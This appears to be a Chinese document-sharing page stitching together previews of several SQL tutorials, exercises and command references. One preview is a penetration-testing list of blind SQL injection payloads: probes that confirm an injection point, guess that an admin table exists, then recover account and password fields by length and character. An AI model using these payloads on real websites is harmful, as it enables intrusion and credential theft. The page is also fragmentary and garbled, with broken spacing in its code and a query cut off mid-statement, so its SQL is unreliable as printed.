--3、查询所有同学的学号、姓名、选课数、总成绩; Select StuId,StuName, SelCourses=(Select Count(CourseId) From tblScore t1 Where t1.StuId=s1.StuId), SumScore=(Select Sum(Score) From tblScore t2 Where t2.StuId=s1.StuId) From tblStudent s1 --4、查询姓“李”的老师的个数; Select Count(*) From tblTeacher Where TeaName like '李%' --5、查询没学过“叶平”老师课的同学的学号、姓名; Select StuId,StuName From tblStudent Where StuId Not In ( Select StuID From tblScore sc Inner Join tblCourse cu ON sc.CourseId=cu.CourseId Inner Join tblTeacher tc ON cu.TeaId=tc.TeaId Where tc.TeaName='叶平' ) --6、查询学过“001”并且也学过编号“002”课程的同学的学号、姓名; Select StuId,StuName From tblStudent st Where (Select Count(*) From tblScore s1 Where s1.StuId=st.StuId And

SQL数据库查询语句范例

推荐一、简单查询 简单的Transact-SQL查询只包括选择列表、FROM子句和Where子句。它们分别说明所查询列、查询的表或视图、以及搜索条件等。例如,下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。Select nickname,email FROM testtable Where n ame=’张三’ (一) 选择列表 选择列表(select_list)指出所查询列,它可以是一组列名列表、星号、表达式、变量(包括局部变量和全局变量)等构成。 1、选择所有列例如,下面语句显示testtable表中所有列的数据:Select * FROM testtable 2、选择部分列并指定它们的显示次序 查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。 例如:Select nickname,email FROM testtable 3、更改列标题 在选择列表中,可重新指定列标题。定义格式为: 列标题=列名列名列标题 如果指定的列标题不是标准的标识符格式时,应使用引号定界符,例如,下列语句使用汉字显示列标题: Select 昵称=nickname,电子邮件=email FROM testtable 4、删除重复行 Select语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行,默认为ALL。使用DISTINC T选项时,对于所有重复的数据行在Select返回的结果集合中只保留一行。 5、限制返回的行数 使用TOP n [PERCENT]选项限制返回的数据行数,TOP n说明返回n行,而TOP n PERCENT时,说明n是表示一百分数,指定返回的行数等于总行数的百分之几。例如: Select TOP 2 *FROM testtable Select TOP 20 PERCENT * FROM testtable (二) FROM子句 FROM子句指定Select语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图,它们之间用逗号分隔。 在FROM子句同时指定多个表或视图时,如果选择列表中存在同名列,这时应使用对象名限定这些列所属的表或视图。例如在usertable和cityta ble表中同时存在cityid列,在查询两个表中的cityid时应使用下面语句格式加以限定: Select username,citytable.cityid FROM usertable,citytable Where usertable.cityid=citytable.cityid 在FROM子句中可用以下两种格式为表或视图指定别名: 表名 as 别名表名别名

渗透常用SQL注入语句大全

渗透常用S Q L注入语句 大全 Document serial number【KKGB-LBS98YT-BS8CB-BSUT-BST108】

1.判断有无注入点;a n d1=1a n d1= 2 2.猜表一般的表的名称无非是adminadminuseruserpasspassword等.. and0<>(selectcount(*)from*) and0<>(selectcount(*)fromadmin)—判断是否存在admin这张表 3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个 and0<(selectcount(*)fromadmin) and1<(selectcount(*)fromadmin) 4.猜解字段名称在len()括号里面加上我们想到的字段名称. ? 1 2 3and1=(selectcount(*)fromadminwherelen(*)>0)– and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0) and1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0) 5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止 ? 1 2 3 4 5 6 7 8and1=(selectcount(*)fromadminwherelen(*)>0) and1=(selectcount(*)fromadminwherelen(name)>6)错误 and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6 and1=(selectcount(*)fromadminwherelen(name)=6)正确 and1=(selectcount(*)fromadminwherelen(password)>11)正确 and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12 and1=(selectcount(*)fromadminwherelen(password)=12)正确 6.猜解字符 and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来 了 and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–

sql查询语句大全

SQL查询语句大全 《SQL语句的基本语法》 一.Select语句的完整语法为: Select[ALL|DISTINCT|DISTINCTROW|TOP] {*|talbe.*|[table.]field1[AS alias1][,[table.]field2[AS alias2][,…]]} FROM tableexpression[,…][IN externaldatabase] [Where…] [GROUP BY…] [HAVING…] [ORDER BY…] [WITH OWNERACCESS OPTION] 说明: 用中括号([])括起来的部分表示是可选的,用大括号({})括起来的部分是表示必须从中选择其中的一个。 1 FROM子句 FROM子句指定了Select语句中字段的来源。FROM子句后面是包含一个或多个的表达式(由逗号分开),其中的表达式可为单一表名称、已保存的查询或 由 INNER JOIN、LEFT JOIN 或 RIGHT JOIN 得到的复合结果。如果表或查询存储在外部数据库,在IN 子句之后指明其完整路径。 例:下列SQL语句返回所有有定单的客户: Select orderID,Customer.customerID FROM orders Customers Where orders.CustomerID=Customers.CustomeersID 2 ALL、DISTINCT、DISTINCTROW、TOP谓词 (1) ALL 返回满足SQL语句条件的所有记录。如果没有指明这个谓词,默认为ALL。 例:Select ALL FirstName,LastName FROM Employees (2) DISTINCT 如果有多个记录的选择字段的数据相同,只返回一个。 (3) DISTINCTROW 如果有重复的记录,只返回一个 (4) TOP显示查询头尾若干记录。也可返回记录的百分比,这是要用 TOP N PERCENT子句(其中N 表示百分比) 例:返回5%定货额最大的定单 Select TOP 5 PERCENT* FROM [ order Details] orDER BY UnitPrice*Quantity*(1-Discount) DESC 3 用 AS 子句为字段取别名 如果想为返回的列取一个新的标题,或者,经过对字段的计算或总结之后,产生了一个新的值,希望把它放到一个新的列里显示,则用AS保留。 例:返回FirstName字段取别名为NickName Select FirstName AS NickName ,LastName ,City

面试时也许会问到的常用SQL语句

去年偶然的一个机会参加了学校图书馆的小型招聘会,一家沈阳IT公司初试面试题目就是几行SQL语句。现在将这些资料整理起来,以供大家参考。同时欢迎回帖指出问题并补充完整 --SQL常用命令 --数据的增删改查 --增加数据(插入数据) insert into [表名]([字段],[字段]..) values(值,值,值..) --按需要字段填写 insert into [表名] values(值,值,值..) --插入全部字段,自动增长列不写 --删除数据(记得有外键先删除主键表里的相应内容) --删除表里的内容 delete from [表名] --要是想删某一行就加where条件 delete from [表名] where [字段]=值 --修改数据(更新数据) --修改整个表内的数据 update [表名] set [字段]=值 --要是想修改某一行就加where条件 update [表名] set [字段]=值where [字段]=值 --查询 select [字段],[字段] from [表名] --条件查询 select [字段],[字段] from [表名] where [字段]=值 --升降序(一般加在查询语句末尾) --升序(默认) order by [字段] asc --降序 order by [字段] desc --例子 select [字段],[字段] from [表名] order by [字段] desc --设置使用的数据库 use [数据库名] --建立命令 --建立数据库 create database [数据库名] on (--数据库信息 NAME='aaa', --逻辑名称aaa FILENAME='d:\bbb.mdf', --物理名称bbb(写全路径)

oracle 经典SQL语句大全

一、基础 1、说明:创建数据库 CREATE DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1. dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2… from tab_old definition only 5、说明:删除新表 drop table tabname 6、说明:增加一个列 Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、说明:添加主键:Alter table tabname add primary key(col) 说明:删除主键: Alter table tabname drop primary key(col) 8、说明:创建索引:create [unique] index idxname on tabname(col….) 删除索引:drop index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、说明:创建视图:create view viewname as select statement 删除视图:drop view viewname 10、说明:几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围 更新:update table1 set field1=value1 where 范围 查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料! 排序:select * from table1 order by field1,field2 [desc] 总数:select count as totalcount from table1

相关文档
最新文档